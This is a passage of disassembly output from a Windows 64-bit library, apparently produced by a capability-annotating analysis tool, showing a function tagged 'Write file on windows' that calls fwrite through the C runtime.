call fcn.180002b90
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.18000cac0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180053570
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180016490
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5360], 0
lea rbx, [rcx + 0x5368]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180016537
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1800164ea
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1800185e0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1800035f0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5360]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5370]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x1803c8b28]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18001653f
mov rcx, rbx
call fcn.1800035f0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret